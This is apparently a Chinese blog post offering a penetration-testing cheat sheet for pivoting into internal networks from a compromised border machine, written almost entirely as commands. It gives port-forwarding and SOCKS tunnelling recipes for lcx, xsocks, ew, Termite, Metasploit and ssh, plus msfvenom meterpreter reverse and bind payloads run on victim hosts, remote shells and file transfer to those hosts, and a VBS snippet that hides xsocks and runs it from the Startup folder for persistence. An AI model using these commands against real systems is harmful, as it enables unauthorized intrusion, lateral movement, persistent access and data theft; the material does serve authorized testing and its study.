渗透测试之通道构建Cheat Sheet

文章目录

在进入内网之后我们要做的第一件事就是通过端口转发与边界代理在我们的机器与内网机器之间建立通信通道为我们后续的内网渗透打下基础。前提是拿到边界机器的一定权限!

下文中所有用到的工具地址
本文主要以转发3389端口为例,当然Linux系统中3389端口并不是远程桌面下述如果提及仅是举个例子而已!端口转发只转发特定端口而socks代理则相当于对所有的端口进行了转发

网络拓扑

拓扑0

拓扑0

拓扑1

拓扑1

拓扑2

拓扑2

拓扑3

拓扑3

端口转发

lcx.exe/portmap

Usage1:本地端口转发

  1. 拓扑0

  2. 系统

  3. 命令

#受害者机器(IP:192.168.255.145)
	## Windows
		./lcx.exe -tran 3389 4444
	##Linux
		portmap  -m 2 3389 4444
# 攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 192.168.255.145:4444
	## Window
		mstsc.exe

Usage2:转发远程端口

  1. 拓扑1
  2. 系统
  3. 命令
#受害者机器(IP:10.0.0.4)
	## Windows
		./lcx.exe -slave 192.168.255.137 4444 10.0.0.4 3389
	## Linux
		./portmap  -m 3 -h1 192.168.255.137 -p1 4444 -h2 10.0.0.4 -p2 3389
# 攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 127.0.0.1:4444
	## Window
		mstsc.exe

系统自带

  1. 沿用上述拓扑
  2. 各机器终端命令
    系统
  3. 命令
# 边界机器(IP:192.168.255.145)
	## Linux
		echo '1' > /proc/sys/net/ipv4/ip_forward
		iptables -t nat -A PREROUTING -d 192.168.255.145 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:3389
	##Windows
		netsh interface ipv6 install #(不过在Windows XP/2003中使用上述命令时首先要使用如下命令安装IPv6扩展)
		netsh interface portproxy set v4tov4 listenaddress=127.0.0.1  listenport=3333 connectaddress=10.0.0.4 connectport=3389
		netsh interface portproxy show all
# 攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 192.168.255.145:3389
	## Window
		mstsc.exe

socks代理

xsocks

Usage 1:正向socks代理,防火墙入站规则不严格,连接代理时不会被Block

  1. 沿用上述拓扑
  2. 各机器终端命令
    xsocks_u13. 命令
#边界机器(IP:192.168.255.145)
	## Linux
		./xsocks  -l 1080
	## Windows
		xsocks.exe -l 1080
#攻击者机器(IP:192.168.255.137)
	## Linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## Window
		proxifier.exe  #(添加mstsc.exe规则)

Usage 2:反向socks代理,防火墙入站规则严格,连接代理时会被Block

  1. 沿用上述拓扑
  2. 各机器终端命令
    xsocks_u23. 命令
#攻击者机器(IP:192.168.255.137)
	## Linux
		./xsocks -t  -p1 1088 -p2 1080  #注意端口顺序,顺序不对容易失败
	## Windows
		xsocks.exe  -t  -p1 1088 -p2 1080  #注意端口顺序,顺序不对容易失败
#边界机器(IP:192.168.255.145)
	## Linux
		./xsocks -r 10.0.0.1:1088
	## Windows
		xsocks.exe -r 10.0.0.1:1088
#攻击者机器(IP:192.168.255.137)
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Usage 3:socks服务器重定向,穿透内网中的内网

  1. 网络拓扑如下所示:

  2. 各机器终端命令
    xsocks_u33. 命令

#边界机器2(IP:10.0.2.129)
	## Linux
		./xsocks -l 1080
	## Windows
		xsocks.exe -l 1080
#攻击者机器(IP:192.168.255.137)
	## Linux
		./xsocks -t  -p1 1088 -p2 1080  #注意端口顺序,顺序不对容易失败
	## Windows
		xsocks.exe  -t  -p1 1088 -p2 1080  #注意端口顺序,顺序不对容易失败
#边境机器1(IP:192.168.255.145)
	## Linux
		./xsocks -s 10.0.0.4:1080 -r  192.168.255.137:1088
	## Windows
		xsocks.exe -s 10.0.0.4:1080 -r  192.168.255.137:1088
#攻击者机器(IP:192.168.255.137)
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

sSocks(主要用于Linux系统)

此工具功能和xsocks类似,但是我在尝试使用此工具时出现错误为此还是用xsocks吧

More Powerful

ew

可以说ew是lcx及sSocks的结合体,它综合了两者的特性,其中sScoks相关的模块主要用于开启正反向socks代理服务,lcx相关模块主要用于将例如socks等基于TCP的服务转发到内网边界。

Group1:sSocks相关模块

Usage1: 正向代理
  1. 拓扑1
  2. 各机器终端命令
    ew_g1_s13. 命令
#边界机器(IP:192.168.255.145)
	## Linux
		./ew -s ssocksd -l 1080
	## Windows
		ew.exe -s ssocked -l 1080
#攻击者机器(IP:192.168.255.137)
	## Linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## Window
		proxifier.exe  #(添加mstsc.exe规则)
Usage2:反向代理
  1. 拓扑1
  2. 各机器终端命令
    ew_g1_u2
  3. 命令
#攻击者机器(IP:192.168.255.137)
	## Linux
		./ew -s rcsocks  -l 1080 -e 1088
	## Windows
		ew.exe  -s rcsocks  -l 1080 -e 1088  
#边界机器(IP:192.168.255.145)
	## Linux
		./ew -s rssocks -d 192.168.255.137 -e 1088
	## Windows
		ew.exe -s rssocks -d 192.168.255.137 -e 1088
#攻击者机器(IP:192.168.255.137)
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group2:lcx相关模块

Usage1:转发本地端口
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u1
  3. 命令
#受害者机器(IP:192.168.255.145)
	## Linux
		./ew -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
	## Windows
		ew.exe -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
#攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 192.168.255.145:4444
	## Window
		mstsc.exe
Usage2:正向远程端口转发
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u2
  3. 命令
#攻击者机器(IP:192.168.255.137)
	## Linux
		./ew -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
		rdesktop 192.168.255.145:4444
	## Windows
		ew.exe -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
		mstsc.exe
Usage3:反向远程端口转发
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u3
  3. 命令
#攻击者机器(IP:192.168.255.137)
	## Linux
		./ew -s lcx_listen -l 3389 -e 4444
	## Windows
		ew.exe -s lcx_slave -l 4444 -f 192.168.255.145 -g 3389
#受害者机器(IP:192.168.255.145)
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
	## Windows
		ew.exe -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
#攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 127.0.0.1:3389
	## Windows
		mstsc.exe
Usage4:反向远程端口跳转
  1. 拓扑1
  2. 各机器终端命令
    ew_g2_u4
  3. 命令
#攻击者机器(IP:192.168.255.137)
	## Linux
		./ew -s lcx_listen -l 3389 -e 4444
	## Windows
		ew.exe -s  lcx_listen -l 3389 -e 4444
#边界机器(IP:192.168.255.145)
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
	## Windows
		ew.exe -s lcx_slave -l 4444 -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
#攻击者机器(IP:192.168.255.137)
	## Linux
		rdesktop 127.0.0.1:4444
	## Windows
		mstsc.exe

Group3:综合使用

综合的使用sSocks及lcx两个功能模块效果更佳:》,这里只举一个例子

  1. 拓扑2
  2. 各机器终端命令
    ew_g3
  3. 命令
#边界机器2(IP:10.0.2.129)
	## Linux
		./ew  -s ssocksd -l 1080
	## Windows
		ew.exe  -s ssocksd -l 1080
#攻击者机器(IP:192.168.255.137)
	## Linux
		./ew -s lcx_listen -l 1080 -e 4444
	## Windows
		ew.exe  -s lcx_listen -l 1080 -e 4444
#边境机器1(IP:192.168.255.145)
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
	## Windows
		ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
#攻击者机器(IP:192.168.255.137)
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Termite

Termite是后渗透主机管理工具代理及端口转发仅是其附属功能

Group1:代理管理命令

Termite_g1
Termite管理代理机器的模式如上图所示即管理者通过admin端正向连接到agent端,各agent端之间可以通过正向连接和反向连接两种方式互相连接。

Usage1:admin端正向连接agent
  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u1
  3. 命令
#边界机器1(IP:192.168.255.145)
	## Linux
		./agent -l 4444
	## Windows
		agent.exe -l 4444
#攻击者机器(IP:192.168.255.137)
	## Linux
		./admin -c 192.168.255.145 -p 4444
	## Windows
		admin.exxe -c 192.168.255.145 -p 4444
Usage2:agent端正向连接agent

在Usage1基础上

  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u2
  3. 命令
#边界机器2(IP:10.0.0.4)
	## Linux
		./agent -l 4444
	## Windows
		agent.exe -l 4444
#攻击者机器(IP:192.168.255.137)
	goto 1
	connect 10.0.0.4 4444
Usage3:agent端反向连接agent

在Usage1的基础上

  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u3
  3. 命令
#攻击者机器(IP:192.168.255.137)
	goto 1
	listen 4444 
	#(上述命令可选,在Usage1情况下不执行此条命令,只有通过反向连接到其他代理的代理机器想要其他机器进行反向连接时需要使用此命令)
#边界机器2(IP:10.0.0.4)
	## Linux
		./agent -c  10.0.0.2 -p 4444
	## Windows
		agent.exe -c 10.0.0.2 -p 4444

无论通过什么方式在各机器之间建立连接,连接建立后通道均相同。

Group2:代理命令

本节操作基于上节操作

Usage1:正向端口代理
  1. 拓扑1
  2. 各机器终端命令
    Termite_g2_u1
  3. 命令
#边界机器2(IP:10.0.0.4)
	## Linux
		nc -lvp 6666
	## Windows
		nc.exe -lvp 6666
#攻击者机器(IP:192.168.255.137)
	goto 1    #(goto到任意代理机器都可以)
	lcxtran 6666 10.0.0.4 6666
	## Linux
		nc 127.0.0.1 6666
	## Windows
		nc.exe 127.0.0.1 6666

正向端口代理存在建立速度慢,3389转发异常(如下图所示)两个缺点,优点是转发端口对应的服务程序关闭后隧道仍然存在比如上述中nc关闭后再重新打开还是可以继续通信,并且可以多跳代理。
Termite_g2_u1_err

Usage2:反向端口转发

Termite实现的反向端口转发和其他的反向端口转发不一样,这里是正的反向端口转发,服务提供者竟然是攻击者。。。不知道作者是故意设计的这个功能还是理解错了反向端口转发这个意思,还是我理解错了这个功能。。。作者对于此功能的简要解释如下:

[20180814] ( Free 1.8 ) 增加反向隧道的功能(backtran指令,是lcxtran的镜像操作),将本地可达的一个地址端口,映射至agent的一个指定端口,在后渗透测试中可以用于构造反弹木马的上线隧道,或反向访问本地可达的任意TCP服务。

  1. 拓扑1
  2. 各机器终端命令
    Termite_g2_u2
  3. 命令
#攻击者机器(IP:192.168.255.137)
	goto 2  #(注意需要goto到反向代理的机器而不是跳板机,可以隔多跳)
	backtran 7777 192.168.255.137 7777
	## Linux
		nc -lvp 7777
	## Windows
		nc.exe  -lvp 7777
#边界机器2(IP:10.0.0.4)
	## Linux
		nc 127.0.0.1 7777
	## Windows
		nc.exe 127.0.0.1 7777
Usage3:socks代理

个人人为socks代理还是比较好用的,在想提供socks服务的代理机器上直接执行socks执行就可以通过本地相应端口访问提供服务的代理机器所处的内网环境。

  1. 拓扑2
  2. 各机器终端命令
    Termite_g2_u3
  3. 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
socks 1080
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group3:shell

  1. 拓扑2
  2. 各机器终端命令
    Termite_g3
  3. 命令
# 攻击者机器(IP:192.168.255.137)
goto 3
shell 6666
	## linux
		nc 127.0.0.1 6666
	## window
		nc.exe 127.0.0.1 6666

支持重连即nc关闭后从新连接相应端口shell还在

Group4:文件操作

Usage1:上传文件
  1. 拓扑1
  2. 各机器终端命令
    Termite_g4_u1
  3. 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
upfile test test.txt
Usage2:下载文件
  1. 拓扑1
  2. 各机器终端命令
    Termite_g4_u2
  3. 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
downfile agent_win32.exe test.exe

其实总的来说还是不太稳定啊!如果开放源码就好了:<

msf

Group1:socks代理

  1. 拓扑2
  2. 各机器终端命令
    msf_g1
  3. 命令
# 攻击者机器(IP:192.168.255.137)
	msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.137 lport=4444 -f exe -o test.exe
	msfvenom -platform windows -a x86 -p windows/meterpreter/bind_tcp lhost=10.0.0.4 lport=4444 -f exe -o test1.exe
	#(这里为了方便直接使用msfvenom生成payload在受害者机器执行, 第一个payload是反向TCP为边界机器1准备,第二个payload是为边界机器2准备的,由于边界机器2无法反向连接攻击者主机所以只能选择bind_tcp即等待正向连接的payload)
	msfconsole
	#(进msfconsole)
	use exploit/multi/handler
	set payload windows/meterpreter/reverse_tcp
	set lhost 192.168.255.137
	set lport 4444
	run 
# 边界机器1(IP:192.168.255.145)
	点击test.exe
# 边界机器2(IP:10.0.0.4)
	点击test1.exe
# 攻击者机器(IP:192.168.255.137)
	#(进入meterpreter)
	run get_local_subnets #(查看此跳板机所连接的各个子网)
	run post/multi/manage/autoroute #(这条命令很重要是为msf建立路由,注意是msf路由即msf这个框架中使用的路由与主机路由没有关系,后期的socks代理端口代理及其他模块的使用都会使用到msf框架路由)
	background
	set payload windows/meterpreter/bind_tcp
	set rhost 10.0.0.4
	set lport 4444
	run 
	#(进入meterpreter)
	run get_local_subnets
	run post/multi/manage/autoroute
	background
	back
	use auxilary/server/socks4a
	set srvhost 127.0.0.1
	exploit -j
	## linux
		#(在新终端中)
		vi /etc/proxychains.conf #(修改最后一行为socks4 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
		CTRL+C
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group2:端口转发

Usage1:正向连接
  1. 拓扑2
  2. 各机器终端命令
    msf_g2_u1
  3. 命令
# 攻击者机器(IP:192.168.255.137)
	#(msfconsole上下文)
	sessions -i 1
	portfwd add -l 3389 -r 10.0.0.4 -p 3389
	rdesktop 127.0.0.1:3389

建立10.0.2.128的3389端口转发时不成功,并且建立后隧道不可复用即断开后重新连接转发端口连接不成功后台服务消失,并且删除原来的隧道重新建立新的隧道也不成功:<

Usage2:反向连接

使用reverse_tcp这个payload时并未复现成功,问题如下。不是很鲁棒:< !!!

meterpreter > portfwd add -R -L 192.168.255.145 -l 5555 -p 6666
[-] Failed to create relay: A socket error occurred.
meterpreter > portfwd flush

但是观察攻击者主机的tcp连接建立情况可以推测出是运行于目标主机reverse_tcp这个payload的问题换一个payload试试,嗯确实成功不了:《

ssh

隧道建立命令:
ssh 选项 IP1:PORT1:IP2:PORT2 username@IP3

选项介绍:

  • -R 反向隧道。默认情况下,-g选项及IP1指定在-R上下文中无效,远端仅绑定回环地址。需要将/etc/ssh/sshd_config配置文件中的GatewayPorts选项设置为True才可以对远端地址进行绑定。
  • -L 正向隧道
  • -g 开启网关功能即目标主机的所有网卡都会监听PORT1端口此时不用指定IP1即可,
  • -N 创建隧道时不打开IP3的shell
  • -f 后台运行隧道,与-N连用
  • -C 压缩传输数据,会降低速度
  • -q 安静模式
  • -n 禁止隧道从stdin读入数据(其实就是讲stdin重定向到了/dev/null)
  • -T 禁止开启伪终端

参数介绍

IP1IP2IP3执行者
正向目标主机远程主机(相对于跳板机)跳板机目标主机
反向目标主机远程主机(相对于跳板机)目标主机跳板机

这里远程主机指得是提供服务的机器比如提供rdp(3389)服务的机器,目标主机代表的远程主机端口要转发到的主机。
正反向隧道建立过程中根据目标主机、远程主机及目标主机这三者随机组合(即是这三者哪些是在同一台机器上)及命令执行者不同可以出现如下图的几种情况
ssh

Group1: 正向端口转发(本地代理)

ssh通过ssh隧道提供的端口转发及socks代理与上述提到的工具不同。

Usage1:机器将一个端口转发到本地另一个端口,用于绕过端口过滤

目标主机、远程主机、跳板机为同一台机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u1
  3. 命令
# 边界机器(IP:192.168.255.143)
	## linux
		nc -lvp 3389
	## window
		nc.exe -lvp 3389	
	ssh -CfNg -L 4444:127.0.0.1:3389 domain_ubuntu@127.0.0.1
	输入密码
# 攻击者机器(IP:192.168.255.137)
	## linux
		nc 127.0.0.1 4444
	## window
		nc.exe 127.0.0.1 4444
Usage2:远程端口正向隧道到边界机器

仅目标主机、跳板机为相同机器,即命令执行者是IP3机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u2
  3. 命令
# 边界机器(IP:192.168.255.143)
	ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@127.0.0.1
	输入密码
# 攻击者机器(IP:192.168.255.137)
	## linux
		rdesktop 192.168.255.143:5555
	## window
		proxifier.exe  #(添加mstsc.exe规则)
Usage3:将远程端口正向转发到攻击者主机

目标主机、跳板机,远程主机为不同机器,即命令执行者是IP1

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u3
  3. 命令
# 攻击者机器(IP:192.168.255.137)
	ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@192.168.255.143
	输入密码
	## linux
		rdesktop 127.0.0.1:5555
	## window
		mstsc.exe

Group2: 反向端口转发(远程代理)

此例中反向连接攻击主机时(kali)出现Permission denied, please try again.的问题,只需要在/etc/ssh/sshd_config中添加PermitRootLogin no即可。

Usage1:边界机器端口反向转发到攻击者

仅跳板机,远程主机为相同机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g2_u1
  3. 命令
# 边界机器(IP:192.168.255.143)
	## linux
		nc -lvp 5555
	## window
		nc.exe -lvp 5555	
	ssh -qCfNg -R 8888:127.0.0.1:5555 root@192.168.255.137
	输入密码
# 攻击者机器(IP:192.168.255.137)
	## linux
		nc 127.0.0.1 8888
	## window
		nc.exe 127.0.0.1 8888
Usage2:边界机器将远程机器端口反向转发到攻击者

目标主机、跳板机,远程主机为不同机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g2_u2
  3. 命令
# 边界机器(IP:192.168.255.143)
	ssh -qCfNg -R 3389:10.0.0.4:3389 root@192.168.255.137
	输入密码
# 攻击者机器(IP:192.168.255.137)
	## linux
		rdesktop 127.0.0.1:3389
	## window
		mstsc.exe

Group3:socks代理

Usage1:正向socks
  1. 拓扑3
  2. 各机器终端命令
    ssh_g3_u1
  3. 命令
# 攻击者机器(IP:192.168.255.137)
	ssh -fNg -D 1080 root@192.168.255.143
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)
Usage2:反向 socks
  1. 拓扑3
  2. 各机器终端命令
    ssh_g3_u2
  3. 命令
# 边界机器(IP:192.168.255.143)
	ssh -fNg -R 1080 root@192.168.255.137
# 攻击者机器(IP:192.168.255.137)
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

低权限(Webshell权限)代理及转发工具

有时在进行渗透测试过程中你只可以获得低权限的shell比如你只可以上传Webshell,由于此时你接触不到系统的shell(cmd,bash等)那么上述所提工具就没法使用,不过总是有对策的不是!下面三款工具允许在攻击者在低权限情况下进行端口转发,由于这些工具通过复用http隧道进行转发或代理还具有一定的过防火墙功能。

Tunna

Tunna是这三款工具中年龄最小的,最近的一次modify是在4个月前(当前时间是2019/5/9),其提供了socks代理及指定端口转发功能,工具的详细信息可以参考其首页。

reGeorg

reGeorg是这三款工具中年龄居中的,最近的一次modify是在2年前(当前时间是2019/5/9),其只提供socks代理功能,工具的详细信息可以参考其首页。

reDuh

reDuh是这三款工具中年龄最老的,最近的一次modify是在7年前(当前时间是2019/5/9),其只提供socks代理功能,工具的开发者与reGeorg好像是一个团队,由于工具较老建议使用前面两者,工具的详细信息可以参考其首页。

HTTPTunnel

ABPTTS

总结

  • 当然上述直接在边界机器执行带窗口的xsocks好像不太好我们可以通过VBS代码隐藏窗口,例如下述代码。把下述代码保存为vbs文件并置于机器的开机启动目录中,比如window7启动目录为C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,但是不同版本开机启动目录不同,文件夹中可以使目标机器开机即启动
Dim WH
set WH = CreateObject("Wscript.shell")
WH.Run "xsocks.exe -l 1080",0,false
  • 在上述众多情况中如果内网可以访问外网的话可以直接使用攻击主机代替边界机器。
  • 上述工具中反向代理的命令形式都非常接近都需要在攻击端开启一个本地端口环路。
  • socks代理是单向的即使用代理的机器可以主动连接到被代理内网内的机器但这些内网机器无法主动连接使用代理的机器。
  • socks代理还是比端口转发好用一些
  • 端口转发工具还是lcx及ew的lcx模块更加好用并且稳定一些
  • 上述实现了socks代理的工具所提供的socks代理服务都还比较稳定
  • 上述介绍的端口转发都是本机的回环回环通过服务程序与远程会话结合的过程(没时间画图了,这一片博客写死个人:>)
  • Termite反向端口转发出现打破了我对反向端口转发认知,或者说Termite实现的反向端口转发是否可以称之为反向端口转发功能
  • 其实上述工具别人都有介绍过,那么自己耗费了这么长时间重新写一遍有意义吗?我感觉当然有啦最起码实际应用了上述工具,了解了各工具的特性,可以抽象出各工具的工作原理,熟悉了网络环境,掌握了几乎所有现有的内网转发工具,为自己的工具开发提供灵感
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值